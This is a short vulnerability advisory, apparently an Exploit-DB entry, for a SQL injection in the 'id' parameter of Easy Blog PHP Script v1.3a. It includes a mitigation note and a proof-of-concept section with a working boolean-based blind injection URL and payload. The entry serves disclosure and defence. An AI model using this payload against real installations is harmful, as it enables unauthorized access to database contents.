Easy Blog PHP Script v1.3a - SQL Injection

vendor:

Easy Blog PHP Script

by:

8bitsec

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Easy Blog PHP Script

Affected Version From: 1.3a

Affected Version To: 1.3a

Patch Exists: NO

Related CWE: N/A

CPE: a:codester:easy_blog_php_script:1.3a

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux 2.0, Mac OS 10.12.6

2017

Easy Blog PHP Script v1.3a – SQL Injection

A SQL injection vulnerability exists in Easy Blog PHP Script v1.3a, which allows an attacker to inject malicious SQL queries via the 'id' parameter. An attacker can exploit this vulnerability to gain access to sensitive information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Easy Blog PHP Script v1.3a - SQL Injection
# Date: 2017-09-27
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.codester.com/
# Software Link: https://www.codester.com/items/4616/easy-blog-php-script
# Version: 1.3a
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-27

Product & Service Introduction:
===============================
A simple and easy to setup script that allows you to have your own basic blog that comes packed with professional features.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/article.php?id=8' AND 7160=7160 AND 'cbgz'='cbgz

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=8' AND 7160=7160 AND 'cbgz'='cbgz

==================
8bitsec - [https://twitter.com/_8bitsec]